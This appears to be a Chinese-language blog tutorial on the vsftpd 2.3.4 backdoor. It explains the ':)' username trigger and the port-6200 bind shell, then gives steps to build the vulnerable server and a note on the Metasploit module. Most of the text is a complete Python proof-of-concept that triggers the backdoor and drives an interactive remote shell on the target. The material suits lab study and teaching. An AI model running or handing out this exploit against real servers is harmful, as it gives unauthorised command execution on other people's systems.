一、漏洞介绍
该版本的 VSFTPD 存在一个后门漏洞。虽然该问题迅速得到了开发人员的修复及删除,但是仍有不少人已经下载安装了该漏洞版本。这个后门的载荷以 :)字符的形式拼接在用户名上。后门代码绑定的侦听端口是 6200 。
二、漏洞复现
Linux源代码安装Vsftpd2.3.4:
wget http://xiazai.xiazaiba.com/Soft/V/vsftpd-2.3.4.tar.gz #下载安装包
tar zxvf vsftpd-2.3.4.tar.gz #解压
cd vsftpd-2.3.4 #进入目录
cat builddefs.h #看它默认都启用了什么功能,更具体的可以more INSTALL(查看帮助文件);undef 为不启用、Define为启用
Vi opts.c
if (str_equal_text(&p_sess->ftp_arg_str,"UTF8 ON")) 更改成 if (str_equal_text(&p_sess->ftp_arg_str,"DISABLE UTF8 ON"))
#解决编码问题
sed -i 's/lib\//lib64\//g' vsf_findlibs.sh #安装之前,如果系统为64位,需要更改vsf_findlibs.sh文件库中lib 路径
Make && make install #开始安装 进程中没有提示什么错误信息,表示已经成功安装
接下来需要复制些文件
cp vsftpd.conf /etc #配置主文件
cp RedHat/vsftpd.pam /etc/pam.d/ftp #PAM 认证文件
/usr/local/sbin/vsftpd & #启动vsftpd
netstat -tnl | grep 21 #查看
三、漏洞利用
启动Kali ,输入msfconsole进入metasploit
search vsftpd #查找该版本相关漏洞
漏洞利用
getshell
四、poc编写
import socket
import sys
import threading
import time
class Cores(object):
RED = '\033[1;31m'
BLUE = '\033[94m'
BOLD = '\033[1m'
GREEN = '\033[32m'
OTRO = '\033[36m'
YELLOW = '\033[33m'
ENDC = '\033[0m'
class Exploit(object):
def __init__(self):
self.ip = None
self.port = None
self.port_backdoor = 6200
def help(self):
helper = Cores.YELLOW + '''
coded by: RNX
[*] Usage: python {} <ip> <port>
'''.format(sys.argv[0])
print helper
def verify_args(self):
try:
self.ip = str(sys.argv[1])
self.port = int(sys.argv[2])
except IndexError:
self.help()
sys.exit()
def connect_ftp_port(self, ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
banner = s.recv(1024)
time.sleep(1)
if( 'vsFTPd 2.3.4' in banner ):
print Cores.RED + '[+] ExPloItInG...'
print Cores.BLUE + '\n[*] Opening port 6200...'
s.send('USER qwertyuuu:)\r\n')
dados = s.recv(1024)
s.send('PASS qwertyuuu:)\r\n')
dados = s.recv(1024)
else:
print Cores.RED + '\n[!] vsFTPd 2.3.4 not found'
sys.exit()
def response_shell(self, sock, status):
sock.settimeout(5)
while( status == True ):
try:
print sock.recv(1024).strip() + '\n'
except socket.timeout:
pass
except Exception:
return
def connect_port_backdoor(self):
backdoor_status = True
portbackdoorConnect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connect_ftp_port(self.ip, self.port)
try:
print Cores.BLUE + '[*] Connecting port 6200...'
portbackdoorConnect.connect((self.ip, self.port_backdoor))
time.sleep(3)
except Exception:
print Cores.RED + '[-] Error to connect port 6200!'
sys.exit()
shellThread = threading.Thread(target=self.response_shell, args=(portbackdoorConnect, backdoor_status))
shellThread.start()
print Cores.ENDC + '\n[*] ExPlOiT SuCcEssFulLy\n'
while( True ):
command = raw_input()
if( command == 'exit' ):
portbackdoorConnect.close()
shellThread.join()
sys.exit()
else:
portbackdoorConnect.send(command + '\n')
def run(self):
self.verify_args()
self.connect_port_backdoor()
def main():
exploit = Exploit()
exploit.run()
if( __name__ == '__main__' ):
main()